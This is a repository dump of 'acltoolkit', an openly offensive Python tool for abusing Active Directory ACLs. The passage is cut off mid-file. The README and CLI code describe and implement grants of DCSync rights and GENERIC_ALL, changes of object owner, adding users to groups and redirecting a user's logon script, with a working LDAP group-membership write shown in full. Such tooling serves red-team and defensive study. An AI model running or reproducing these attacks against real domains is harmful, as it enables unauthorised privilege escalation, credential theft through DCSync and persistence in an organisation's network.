├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── acltoolkit ├── add_groupmember.py ├── constants.py ├── entry.py ├── formatting.py ├── get_objectacl.py ├── give_dcsync.py ├── give_genericall.py ├── ldap.py ├── set_logon_script.py ├── set_objectowner.py └── target.py └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | venv 2 | *.egg-info 3 | build -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 zblurx 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: build clean 2 | 3 | clean: 4 | rm -f -r build/ 5 | rm -f -r dist/ 6 | rm -f -r *.egg-info 7 | find . -name '*.pyc' -exec rm -f {} + 8 | find . -name '*.pyo' -exec rm -f {} + 9 | find . -name '*~' -exec rm -f {} + 10 | find . -name '__pycache__' -exec rm -rf {} + 11 | 12 | rebuild: clean 13 | pip install . 14 | 15 | publish: clean 16 | python setup.py sdist bdist_wheel 17 | python -m twine upload dist/* 18 | 19 | build: clean 20 | pip install . -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # acltoolkit 2 | 3 | `acltoolkit` is an ACL abuse swiss-army knife. It implements multiple ACL abuses. 4 | 5 | ## Table of Contents 6 | 7 | - [acltoolkit](#acltoolkit) 8 | - [Table of Contents](#table-of-contents) 9 | - [Installation](#installation) 10 | - [Usage](#usage) 11 | - [Commands](#commands) 12 | - [get-objectacl](#get-objectacl) 13 | - [set-objectowner](#set-objectowner) 14 | - [give-genericall](#give-genericall) 15 | - [give-dcsync](#give-dcsync) 16 | - [add-groupmember](#add-groupmember) 17 | - [set-logonscript](#set-logonscript) 18 | 19 | ## Installation 20 | 21 | ```bash 22 | pip install acltoolkit-ad 23 | ``` 24 | 25 | or 26 | 27 | ```bash 28 | git clone https://github.com/zblurx/acltoolkit.git 29 | cd acltoolkit 30 | make 31 | ``` 32 | 33 | ## Usage 34 | 35 | ```$ acltoolkit -h 36 | usage: acltoolkit [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-scheme ldap scheme] 37 | target {get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript} ... 38 | 39 | ACL abuse swiss-army knife 40 | 41 | positional arguments: 42 | target [[domain/]username[:password]@] 43 | {get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript} 44 | Action 45 | get-objectacl Get Object ACL 46 | set-objectowner Modify Object Owner 47 | give-genericall Grant an object GENERIC ALL on a targeted object 48 | give-dcsync Grant an object DCSync capabilities on the domain 49 | add-groupmember Add Member to Group 50 | set-logonscript Change Logon Sript of User 51 | 52 | options: 53 | -h, --help show this help message and exit 54 | -debug Turn DEBUG output ON 55 | -no-pass don't ask for password (useful for -k) 56 | -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the 57 | command line 58 | -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter 59 | -scheme ldap scheme 60 | 61 | authentication: 62 | -hashes LMHASH:NTHASH 63 | NTLM hashes, format is LMHASH:NTHASH 64 | ``` 65 | 66 | ## Commands 67 | 68 | ### get-objectacl 69 | 70 | ```text 71 | $ acltoolkit get-objectacl -h 72 | usage: acltoolkit target get-objectacl [-h] [-object object] [-all] 73 | 74 | options: 75 | -h, --help show this help message and exit 76 | -object object Dump ACL for . Parameter can be a sAMAccountName, a name, a DN or an objectSid 77 | -all List every ACE of the object, even the less-interesting ones 78 | ``` 79 | 80 | The `get-objectacl` will take a sAMAccountName, a name, a DN or an objectSid as input with `-object` and will list Sid, Name, DN, Class, adminCount, LogonScript configured, Primary Group, Owner and DACL of it. If no parameter supplied, will list informations about the account used to authenticate. 81 | 82 | ```text 83 | $ acltoolkit waza.local/jsmith:Password#123@192.168.56.112 get-objectacl 84 | Sid : S-1-5-21-267175082-2660600898-836655089-1103 85 | Name : waza\John Smith 86 | DN : CN=John Smith,CN=Users,DC=waza,DC=local 87 | Class : top, person, organizationalPerson, user 88 | adminCount : False 89 | 90 | Logon Script 91 | scriptPath : \\WAZZAAAAAA\OCD\test.bat 92 | msTSInitialProgram: \\WAZZAAAAAA\OCD\test.bat 93 | 94 | PrimaryGroup 95 | Sid : S-1-5-21-267175082-2660600898-836655089-513 96 | Name : waza\Domain Users 97 | DN : CN=Domain Users,OU=Builtin Groups,DC=waza,DC=local 98 | 99 | [...] 100 | 101 | OwnerGroup 102 | Sid : S-1-5-21-267175082-2660600898-836655089-512 103 | Name : waza\Domain Admins 104 | 105 | Dacl 106 | ObjectSid : S-1-1-0 107 | Name : Everyone 108 | AceType : ACCESS_ALLOWED_OBJECT_ACE 109 | AccessMask : 256 110 | ADRights : EXTENDED_RIGHTS 111 | IsInherited : False 112 | ObjectAceType : User-Change-Password 113 | 114 | [...] 115 | 116 | ObjectSid : S-1-5-32-544 117 | Name : BUILTIN\Administrator 118 | AceType : ACCESS_ALLOWED_ACE 119 | AccessMask : 983485 120 | ADRights : WRITE_OWNER, WRITE_DACL, GENERIC_READ, DELETE, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, CREATE_CHILD 121 | IsInherited : True 122 | ``` 123 | 124 | ### set-objectowner 125 | 126 | ```text 127 | $ acltoolkit set-objectowner -h 128 | usage: acltoolkit target set-objectowner [-h] -target-sid target_sid [-owner-sid owner_sid] 129 | 130 | options: 131 | -h, --help show this help message and exit 132 | -target-sid target_sid 133 | Object Sid targeted 134 | -owner-sid owner_sid New Owner Sid 135 | ``` 136 | 137 | The `set-objectowner` will take as input a target sid and an owner sid, and will change the owner of the target object. 138 | 139 | ### give-genericall 140 | 141 | ```text 142 | $ acltoolkit give-genericall -h 143 | usage: acltoolkit target give-genericall [-h] -target-sid target_sid [-granted-sid owner_sid] 144 | 145 | options: 146 | -h, --help show this help message and exit 147 | -target-sid target_sid 148 | Object Sid targeted 149 | -granted-sid owner_sid 150 | Object Sid granted GENERIC_ALL 151 | ``` 152 | 153 | The `give-genericall` will take as input a target sid and a granted sid, and will change give GENERIC_ALL DACL to the granted SID to the target object. 154 | 155 | ### give-dcsync 156 | 157 | ```text 158 | $ acltoolkit give-dcsync -h 159 | usage: acltoolkit target give-dcsync [-h] [-granted-sid owner_sid] 160 | 161 | options: 162 | -h, --help show this help message and exit 163 | -granted-sid owner_sid 164 | Object Sid granted DCSync capabilities 165 | ``` 166 | 167 | The `give-dcsync` will take as input a granted sid, and will change give DCSync capabilities to the granted SID. 168 | 169 | ### add-groupmember 170 | 171 | ```text 172 | $ acltoolkit add-groupmember -h 173 | usage: acltoolkit target add-groupmember [-h] [-user user] -group group 174 | 175 | options: 176 | -h, --help show this help message and exit 177 | -user user User added to a group 178 | -group group Group where the user will be added 179 | ``` 180 | 181 | The `add-groupmember` will take as input a user sAMAccountName and a group sAMAccountName, and will add the user to the group 182 | 183 | ### set-logonscript 184 | 185 | ```text 186 | $ acltoolkit set-logonscript -h 187 | usage: acltoolkit target set-logonscript [-h] -target-sid target_sid -script-path script_path [-logonscript-type logonscript_type] 188 | 189 | options: 190 | -h, --help show this help message and exit 191 | -target-sid target_sid 192 | Object Sid of targeted user 193 | -script-path script_path 194 | Script path to set for the targeted user 195 | -logonscript-type logonscript_type 196 | Logon Script variable to change (default is scriptPath) 197 | ``` 198 | 199 | The `set-logonscript` will take as input a target sid and a script path, and will the the Logon Script path of the targeted user to the script path specified. -------------------------------------------------------------------------------- /acltoolkit/add_groupmember.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | import ldap3 4 | 5 | from acltoolkit.ldap import LDAPConnection, LDAPEntry 6 | from acltoolkit.target import Target 7 | 8 | class AddGroupMember: 9 | def __init__(self, options: argparse.Namespace): 10 | self.options = options 11 | 12 | self.target = Target(options) 13 | 14 | self._user = None 15 | self._group = None 16 | 17 | self.ldap_connection = None 18 | 19 | def connect(self): 20 | self.ldap_connection = LDAPConnection(self.options.scheme, self.target) 21 | self.ldap_connection.connect() 22 | 23 | def search(self, *args, **kwargs) -> 'list["LDAPEntry"]': 24 | return self.ldap_connection.search(*args, **kwargs) 25 | 26 | def write(self, *args, **kwargs) -> int: 27 | return self.ldap_connection.write(*args, **kwargs) 28 | 29 | def run(self): 30 | self.connect() 31 | logging.info("Will add %s to %s group" % (self.user.get("distinguishedName"), self.group.get("distinguishedName"))) 32 | 33 | ret = self.write(self.group.get("distinguishedName"), {'member': [(ldap3.MODIFY_ADD, [self.user.get("distinguishedName")])]}) 34 | if ret['result'] == 0: 35 | logging.info("Object Owner modified successfully !") 36 | else : 37 | if ret['result'] == 50: 38 | raise Exception('Could not modify object, the server reports insufficient rights: %s', ret['message']) 39 | elif ret['result'] == 19: 40 | raise Exception('Could not modify object, the server reports a constrained violation: %s', ret['message']) 41 | else: 42 | raise Exception('The server returned an error: %s', ret['message']) 43 | 44 | 45 | 46 | @property 47 | def user(self) -> LDAPEntry: 48 | if self._user is not None: 49 | return self._user 50 | 51 | if self.options.user is not None: 52 | username = self.options.user 53 | else: 54 | username = self.target.username 55 | 56 | users = self.search( 57 | "(&(objectclass=user)(sAMAccountName=%s))" % username, 58 | attributes=["objectSid", "distinguishedName", "nTSecurityDescriptor", "primaryGroupId"], 59 | ) 60 | 61 | if len(users) == 0: 62 | raise Exception("Could not find user with account name: %s" % username) 63 | 64 | self._user = users[0] 65 | 66 | return self._user 67 | 68 | @property 69 | def group(self) -> 'list["LDAPEntry"]': 70 | if self._group is not None: 71 | return self._group 72 | 73 | groupname = self.options.group 74 | groups = self.search( 75 | "(&(objectclass=group)(name=%s))" % groupname, 76 | attributes=["objectSid", "distinguishedName"], 77 | ) 78 | 79 | if len(groups) == 0: 80 | raise Exception("Could not find group with name: %s" % groupname) 81 | 82 | self._group = groups[0] 83 | 84 | return self._group 85 | 86 | def add_groupmember(options: argparse.Namespace): 87 | g = AddGroupMember(options) 88 | g.run() -------------------------------------------------------------------------------- /acltoolkit/constants.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | from enum import IntFlag 4 | 5 | 6 | # http://sctech.weebly.com/well-known-sids.html 7 | WELL_KNOWN_SIDS = { 8 | "S-1-0": "Null Authority", 9 | "S-1-0-0": "Nobody", 10 | "S-1-1": "World Authority", 11 | "S-1-1-0": "Everyone", 12 | "S-1-2": "Local Authority", 13 | "S-1-3": "Creator Authority", 14 | "S-1-3-0": "Creator Owner", 15 | "S-1-3-1": "Creator Group", 16 | "S-1-3-2": "Creator Owner Server", 17 | "S-1-3-3": "Creator Group Server", 18 | "S-1-4": "Non-unique Authority", 19 | "S-1-5": "NT Authority", 20 | "S-1-5-1": "Dialup", 21 | "S-1-5-2": "Network", 22 | "S-1-5-3": "Batch", 23 | "S-1-5-4": "Interactive", 24 | "S-1-5-6": "Service", 25 | "S-1-5-7": "Anonymous", 26 | "S-1-5-8": "Proxy", 27 | "S-1-5-9": "Enterprise Domain Controller", 28 | "S-1-5-10": "Principal Self", 29 | "S-1-5-11": "Authenticated Users", 30 | "S-1-5-12": "Restricted Code", 31 | "S-1-5-13": "Terminal Server Users", 32 | "S-1-5-18": "Local System", 33 | "S-1-5-19": "NT Authority", 34 | "S-1-5-20": "NT Authority", 35 | "S-1-5-32-544": "BUILTIN\\Administrator", 36 | "S-1-5-32-545": "BUILTIN\\User", 37 | "S-1-5-32-546": "BUILTIN\\Guess", 38 | "S-1-5-32-547": "BUILTIN\\Power User", 39 | "S-1-5-32-548": "BUILTIN\\Account Operators", 40 | "S-1-5-32-549": "BUILTIN\\Server Operators", 41 | "S-1-5-32-550": "BUILTIN\\Print Operators", 42 | "S-1-5-32-551": "BUILTIN\\Backup Operators", 43 | "S-1-5-32-552": "BUILTIN\\Replicators", 44 | "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access", 45 | "S-1-5-32-555": "BUILTIN\\Remote Desktop Users", 46 | "S-1-5-32-556": "BUILTIN\\Network Configuration Operators", 47 | "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders", 48 | "S-1-5-32-558": "BUILTIN\\Performance Monitor Users", 49 | "S-1-5-32-559": "BUILTIN\\Performance Log Users", 50 | "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group", 51 | "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers", 52 | "S-1-5-32-562": "BUILTIN\\Distributed COM User", 53 | "S-1-5-32-568": "BUILTIN\\IIS_IUSRS", 54 | "S-1-5-32-569": "BUILTIN\\Cryptograhic Operators", 55 | "S-1-5-32-573": "BUILTIN\\Event Log Readers", 56 | "S-1-5-64-10": "NTLM Authentication", 57 | "S-1-5-64-14": "SChannel Authentication", 58 | "S-1-5-64-21": "Digest Authenitication", 59 | "S-1-5-64-1000": "Other Organization", 60 | "S-1-6": "Site Server Authority An identifier authority", 61 | "S-1-7": "Internet Site Authority An identifier authority", 62 | "S-1-8": "Exchange Authority An identifier authority", 63 | "S-1-9": "Resource Manager Authority An identifier", 64 | } 65 | 66 | # https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.accesscontroltype?view=net-5.0 67 | class ACCESS_CONTROL_TYPE(IntFlag): 68 | ALLOW = 0 69 | DENY = 1 70 | 71 | # https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=net-5.0 72 | ACTIVE_DIRECTORY_RIGHTS = { 73 | 0x1000000:'ACCESS_SYSTEM_SECURITY', 74 | 0x100000:'SYNCHRONIZE', 75 | 0xf01ff:'GENERIC_ALL', 76 | 0x80000:'WRITE_OWNER', 77 | 0x40000:'WRITE_DACL', 78 | 0x20094:'GENERIC_READ', 79 | 0x20028:'GENERIC_WRITE', 80 | 0x20004:'GENERIC_EXECUTE', 81 | 0x20000:'READ_CONTROL', 82 | 0x10000:'DELETE', 83 | 0x100:'EXTENDED_RIGHTS', 84 | 0x80:'LIST_OBJECT', 85 | 0x40:'DELETE_TREE', 86 | 0x20:'WRITE_PROPERTY', 87 | 0x10:'READ_PROPERTY', 88 | 0x8:'SELF', 89 | 0x4:'LIST_CHILDREN', 90 | 0x2:'DELETE_CHILD', 91 | 0x1:'CREATE_CHILD', 92 | } 93 | 94 | JUICY_ADRIGHTS = [ 95 | 'GENERIC_ALL', 96 | 'WRITE_OWNER', 97 | 'WRITE_DACL', 98 | 'GENERIC_WRITE', 99 | 'EXTENDED_RIGHTS', 100 | 'SELF', 101 | 'ACCESS_SYSTEM_SECURITY', 102 | ] 103 | 104 | # Retrieved from Windows 2022 server via LDAP (CN=Extended-Rights,CN=Configuration,DC=...) 105 | EXTENDED_RIGHTS_MAP = { 106 | "{ab721a52-1e2f-11d0-9819-00aa0040529b}": "Domain-Administer-Serve", 107 | "{ab721a53-1e2f-11d0-9819-00aa0040529b}": "User-Change-Password", 108 | "{00299570-246d-11d0-a768-00aa006e0529}": "User-Force-Change-Password", 109 | "{ab721a54-1e2f-11d0-9819-00aa0040529b}": "Send-As", 110 | "{ab721a56-1e2f-11d0-9819-00aa0040529b}": "Receive-As", 111 | "{ab721a55-1e2f-11d0-9819-00aa0040529b}": "Send-To", 112 | "{c7407360-20bf-11d0-a768-00aa006e0529}": "Domain-Password", 113 | "{59ba2f42-79a2-11d0-9020-00c04fc2d3cf}": "General-Information", 114 | "{4c164200-20c0-11d0-a768-00aa006e0529}": "User-Account-Restrictions", 115 | "{5f202010-79a5-11d0-9020-00c04fc2d4cf}": "User-Logon", 116 | "{bc0ac240-79a9-11d0-9020-00c04fc2d4cf}": "Membership", 117 | "{a1990816-4298-11d1-ade2-00c04fd8d5cd}": "Open-Address-Book", 118 | "{77b5b886-944a-11d1-aebd-0000f80367c1}": "Personal-Information", 119 | "{e45795b2-9455-11d1-aebd-0000f80367c1}": "Email-Information", 120 | "{e45795b3-9455-11d1-aebd-0000f80367c1}": "Web-Information", 121 | "{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}": "DS-Replication-Get-Changes", 122 | "{1131f6ab-9c07-11d1-f79f-00c04fc2dcd2}": "DS-Replication-Synchronize", 123 | "{1131f6ac-9c07-11d1-f79f-00c04fc2dcd2}": "DS-Replication-Manage-Topology", 124 | "{e12b56b6-0a95-11d1-adbb-00c04fd8d5cd}": "Change-Schema-Maste", 125 | "{d58d5f36-0a98-11d1-adbb-00c04fd8d5cd}": "Change-Rid-Maste", 126 | "{fec364e0-0a98-11d1-adbb-00c04fd8d5cd}": "Do-Garbage-Collection", 127 | "{0bc1554e-0a99-11d1-adbb-00c04fd8d5cd}": "Recalculate-Hierarchy", 128 | "{1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd}": "Allocate-Rids", 129 | "{bae50096-4752-11d1-9052-00c04fc2d4cf}": "Change-PDC", 130 | "{440820ad-65b4-11d1-a3da-0000f875ae0d}": "Add-GUID", 131 | "{014bf69c-7b3b-11d1-85f6-08002be74fab}": "Change-Domain-Maste", 132 | "{e48d0154-bcf8-11d1-8702-00c04fb96050}": "Public-Information", 133 | "{4b6e08c0-df3c-11d1-9c86-006008764d0e}": "msmq-Receive-Dead-Lette", 134 | "{4b6e08c1-df3c-11d1-9c86-006008764d0e}": "msmq-Peek-Dead-Lette", 135 | "{4b6e08c2-df3c-11d1-9c86-006008764d0e}": "msmq-Receive-computer-Journal", 136 | "{4b6e08c3-df3c-11d1-9c86-006008764d0e}": "msmq-Peek-computer-Journal", 137 | "{06bd3200-df3e-11d1-9c86-006008764d0e}": "msmq-Receive", 138 | "{06bd3201-df3e-11d1-9c86-006008764d0e}": "msmq-Peek", 139 | "{06bd3202-df3e-11d1-9c86-006008764d0e}": "msmq-Send", 140 | "{06bd3203-df3e-11d1-9c86-006008764d0e}": "msmq-Receive-journal", 141 | "{b4e60130-df3f-11d1-9c86-006008764d0e}": "msmq-Open-Connecto", 142 | "{edacfd8f-ffb3-11d1-b41d-00a0c968f939}": "Apply-Group-Policy", 143 | "{037088f8-0ae1-11d2-b422-00a0c968f939}": "RAS-Information", 144 | "{9923a32a-3607-11d2-b9be-0000f87a36b2}": "DS-Install-Replica", 145 | "{cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd}": "Change-Infrastructure-Maste", 146 | "{be2bb760-7f46-11d2-b9ad-00c04f79f805}": "Update-Schema-Cache", 147 | "{62dd28a8-7f46-11d2-b9ad-00c04f79f805}": "Recalculate-Security-Inheritance", 148 | "{69ae6200-7f46-11d2-b9ad-00c04f79f805}": "DS-Check-Stale-Phantoms", 149 | "{0e10c968-78fb-11d2-90d4-00c04f79dc55}": "Certificate-Enrollment", 150 | "{bf9679c0-0de6-11d0-a285-00aa003049e2}": "Self-Membership", 151 | "{72e39547-7b18-11d1-adef-00c04fd8d5cd}": "DNS-Host-Name-Attributes", 152 | "{f3a64788-5306-11d1-a9c5-0000f80367c1}": "Validated-SPN", 153 | "{b7b1b3dd-ab09-4242-9e30-9980e5d322f7}": "Generate-RSoP-Planning", 154 | "{9432c620-033c-4db7-8b58-14ef6d0bf477}": "Refresh-Group-Cache", 155 | "{91d67418-0135-4acc-8d79-c08e857cfbec}": "SAM-Enumerate-Entire-Domain", 156 | "{b7b1b3de-ab09-4242-9e30-9980e5d322f7}": "Generate-RSoP-Logging", 157 | "{b8119fd0-04f6-4762-ab7a-4986c76b3f9a}": "Domain-Other-Parameters", 158 | "{e2a36dc9-ae17-47c3-b58b-be34c55ba633}": "Create-Inbound-Forest-Trust", 159 | "{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}": "DS-Replication-Get-Changes-All", 160 | "{ba33815a-4f93-4c76-87f3-57574bff8109}": "Migrate-SID-History", 161 | "{45ec5156-db7e-47bb-b53f-dbeb2d03c40f}": "Reanimate-Tombstones", 162 | "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}": "Allowed-To-Authenticate", 163 | "{2f16c4a5-b98e-432c-952a-cb388ba33f2e}": "DS-Execute-Intentions-Script", 164 | "{f98340fb-7c5b-4cdb-a00b-2ebdfa115a96}": "DS-Replication-Monitor-Topology", 165 | "{280f369c-67c7-438e-ae98-1d46f3c6f541}": "Update-Password-Not-Required-Bit", 166 | "{ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501}": "Unexpire-Password", 167 | "{05c74c5e-4deb-43b4-bd9f-86664c2a7fd5}": "Enable-Per-User-Reversibly-Encrypted-Password", 168 | "{4ecc03fe-ffc0-4947-b630-eb672a8a9dbc}": "DS-Query-Self-Quota", 169 | "{91e647de-d96f-4b70-9557-d63ff4f3ccd8}": "Private-Information", 170 | "{1131f6ae-9c07-11d1-f79f-00c04fc2dcd2}": "Read-Only-Replication-Secret-Synchronization", 171 | "{ffa6f046-ca4b-4feb-b40d-04dfee722543}": "MS-TS-GatewayAccess", 172 | "{5805bc62-bdc9-4428-a5e2-856a0f4c185e}": "Terminal-Server-License-Serve", 173 | "{1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8}": "Reload-SSL-Certificate", 174 | "{89e95b76-444d-4c62-991a-0facbeda640c}": "DS-Replication-Get-Changes-In-Filtered-Set", 175 | "{7726b9d5-a4b4-4288-a6b2-dce952e80a7f}": "Run-Protect-Admin-Groups-Task", 176 | "{7c0e2a7c-a419-48e4-a995-10180aad54dd}": "Manage-Optional-Features", 177 | "{3e0f7e18-2c7a-4c10-ba82-4d926db99a3e}": "DS-Clone-Domain-Controlle", 178 | "{d31a8757-2447-4545-8081-3bb610cacbf2}": "Validated-MS-DS-Behavior-Version", 179 | "{80863791-dbe9-4eb8-837e-7f0ab55d9ac7}": "Validated-MS-DS-Additional-DNS-Host-Name", 180 | "{a05b8cc2-17bc-4802-a710-e7c15ab866a2}": "Certificate-AutoEnrollment", 181 | "{4125c71f-7fac-4ff0-bcb7-f09a41325286}": "DS-Set-Owne", 182 | "{88a9933e-e5c8-4f2a-9dd7-2527416b8092}": "DS-Bypass-Quota", 183 | "{084c93a2-620d-4879-a836-f0ae47de0e89}": "DS-Read-Partition-Secrets", 184 | "{94825a8d-b171-4116-8146-1e34d8f54401}": "DS-Write-Partition-Secrets", 185 | "{9b026da6-0d3c-465c-8bee-5199d7165cba}": "DS-Validated-Write-Compute", 186 | "{00000000-0000-0000-0000-000000000000}": "All-Extended-Rights", 187 | } 188 | 189 | EXTENDED_RIGHTS_NAME_MAP = {k: v for v, k in EXTENDED_RIGHTS_MAP.items()} -------------------------------------------------------------------------------- /acltoolkit/entry.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | 4 | from impacket.examples import logger 5 | 6 | from acltoolkit.get_objectacl import get_objectacl 7 | from acltoolkit.set_logon_script import set_logonscript 8 | from acltoolkit.set_objectowner import set_objectowner 9 | from acltoolkit.give_genericall import give_genericall 10 | from acltoolkit.give_dcsync import give_dcsync 11 | from acltoolkit.add_groupmember import add_groupmember 12 | 13 | def main(): 14 | logger.init() 15 | 16 | parser = argparse.ArgumentParser( 17 | description="ACL abuse swiss-army knife", add_help=True 18 | ) 19 | 20 | parser.add_argument( 21 | "target", 22 | action="store", 23 | help="[[domain/]username[:password]@]", 24 | ) 25 | 26 | parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") 27 | 28 | group = parser.add_argument_group("authentication") 29 | group.add_argument( 30 | "-hashes", 31 | action="store", 32 | metavar="LMHASH:NTHASH", 33 | help="NTLM hashes, format is LMHASH:NTHASH", 34 | ) 35 | parser.add_argument( 36 | "-no-pass", action="store_true", help="don't ask for password (useful for -k)" 37 | ) 38 | parser.add_argument( 39 | "-k", 40 | action="store_true", 41 | help="Use Kerberos authentication. Grabs credentials from ccache file " 42 | "(KRB5CCNAME) based on target parameters. If valid credentials " 43 | "cannot be found, it will use the ones specified in the command " 44 | "line", 45 | ) 46 | parser.add_argument( 47 | "-dc-ip", 48 | action="store", 49 | metavar="ip address", 50 | help=( 51 | "IP Address of the domain controller. If omitted it will use the domain " 52 | "part (FQDN) specified in the target parameter" 53 | ), 54 | ) 55 | 56 | parser.add_argument( 57 | "-scheme", 58 | action="store", 59 | metavar="ldap scheme", 60 | choices=["ldap", "ldaps"], 61 | default="ldaps", 62 | ) 63 | 64 | subparsers = parser.add_subparsers(help="Action", dest="action", required=True) 65 | 66 | get_objectacl_parser = subparsers.add_parser("get-objectacl", help="Get Object ACL") 67 | 68 | get_objectacl_parser.add_argument( 69 | "-object", 70 | action="store", 71 | metavar="object", 72 | help=( 73 | "Dump ACL for . Parameter can be a sAMAccountName, a name, a DN or an objectSid" 74 | ), 75 | ) 76 | 77 | get_objectacl_parser.add_argument( 78 | "-all", 79 | action="store_true", 80 | help=( 81 | "List every ACE of the object, even the less-interesting ones" 82 | ), 83 | ) 84 | 85 | set_objectowner_parser = subparsers.add_parser("set-objectowner", help="Modify Object Owner") 86 | 87 | set_objectowner_parser.add_argument( 88 | "-target-sid", 89 | action="store", 90 | metavar="target_sid", 91 | help=( 92 | "Object Sid targeted" 93 | ), 94 | required=True 95 | ) 96 | 97 | set_objectowner_parser.add_argument( 98 | "-owner-sid", 99 | action="store", 100 | metavar="owner_sid", 101 | help=( 102 | "New Owner Sid" 103 | ) 104 | ) 105 | 106 | give_genericall_parser = subparsers.add_parser("give-genericall", help="Grant an object GENERIC ALL on a targeted object") 107 | 108 | give_genericall_parser.add_argument( 109 | "-target-sid", 110 | action="store", 111 | metavar="target_sid", 112 | help=( 113 | "Object Sid targeted" 114 | ), 115 | required=True 116 | ) 117 | 118 | give_genericall_parser.add_argument( 119 | "-granted-sid", 120 | action="store", 121 | metavar="owner_sid", 122 | help=( 123 | "Object Sid granted GENERIC_ALL" 124 | ) 125 | ) 126 | 127 | give_dcsync_parser = subparsers.add_parser("give-dcsync", help="Grant an object DCSync capabilities on the domain") 128 | 129 | give_dcsync_parser.add_argument( 130 | "-granted-sid", 131 | action="store", 132 | metavar="owner_sid", 133 | help=( 134 | "Object Sid granted DCSync capabilities" 135 | ) 136 | ) 137 | 138 | add_groupmember_parser = subparsers.add_parser("add-groupmember", help="Add Member to Group") 139 | 140 | add_groupmember_parser.add_argument( 141 | "-user", 142 | action="store", 143 | metavar="user", 144 | help=( 145 | "User added to a group" 146 | ), 147 | ) 148 | 149 | add_groupmember_parser.add_argument( 150 | "-group", 151 | action="store", 152 | metavar="group", 153 | help=( 154 | "Group where the user will be added" 155 | ), 156 | required=True 157 | ) 158 | 159 | set_logonscript_parser = subparsers.add_parser("set-logonscript", help="Change Logon Sript of User") 160 | 161 | set_logonscript_parser.add_argument( 162 | "-target-sid", 163 | action="store", 164 | metavar="target_sid", 165 | help=( 166 | "Object Sid of targeted user" 167 | ), 168 | required=True 169 | ) 170 | 171 | set_logonscript_parser.add_argument( 172 | "-script-path", 173 | action="store", 174 | metavar="script_path", 175 | help=( 176 | "Script path to set for the targeted user" 177 | ), 178 | required=True 179 | ) 180 | 181 | set_logonscript_parser.add_argument( 182 | "-logonscript-type", 183 | action="store", 184 | metavar="logonscript_type", 185 | help=( 186 | "Logon Script variable to change (default is scriptPath)" 187 | ), 188 | choices=['scriptPath', 'msTSInitialProgram'] 189 | ) 190 | 191 | options = parser.parse_args() 192 | 193 | if options.debug is True: 194 | logging.getLogger().setLevel(logging.DEBUG) 195 | else: 196 | logging.getLogger().setLevel(logging.INFO) 197 | 198 | if options.action == "get-objectacl": 199 | get_objectacl(options) 200 | elif options.action == "set-objectowner": 201 | set_objectowner(options) 202 | elif options.action == "give-genericall": 203 | give_genericall(options) 204 | elif options.action == "give-dcsync": 205 | give_dcsync(options) 206 | elif options.action == "add-groupmember": 207 | add_groupmember(options) 208 | elif options.action == "set-logonscript": 209 | set_logonscript(options) 210 | else: 211 | raise Exception("Action not implemented: %s" % options.action) 212 | 213 | if __name__ == "__main__": 214 | main() -------------------------------------------------------------------------------- /acltoolkit/formatting.py: -------------------------------------------------------------------------------- 1 | def pretty_print(d, indent=0, padding=20): 2 | if isinstance(d, dict): 3 | for key, value in d.items(): 4 | if isinstance(value, str) or isinstance(value, int) or value is None: 5 | print((" " * indent + str(key)).ljust(padding, " ") + ": %s" % value) 6 | elif isinstance(value, bytes) : 7 | print((" " * indent + str(key)).ljust(padding, " ") + ": %s" % value.decode()) 8 | elif isinstance(value, dict): 9 | print() 10 | print(" " * indent + str(key)) 11 | pretty_print(value, indent=indent + 1) 12 | elif isinstance(value, list): 13 | if len(value) == 0: 14 | print() 15 | print((" " * indent + str(key)).ljust(padding, " ") + ": None" ) 16 | elif all(isinstance(item,str) for item in value): 17 | print((" " * indent + str(key)).ljust(padding, " ") + ": %s" % ", ".join(value)) 18 | elif len(value) > 0 and isinstance(value[0], dict): 19 | print() 20 | print(" " * indent + str(key)) 21 | for i, v 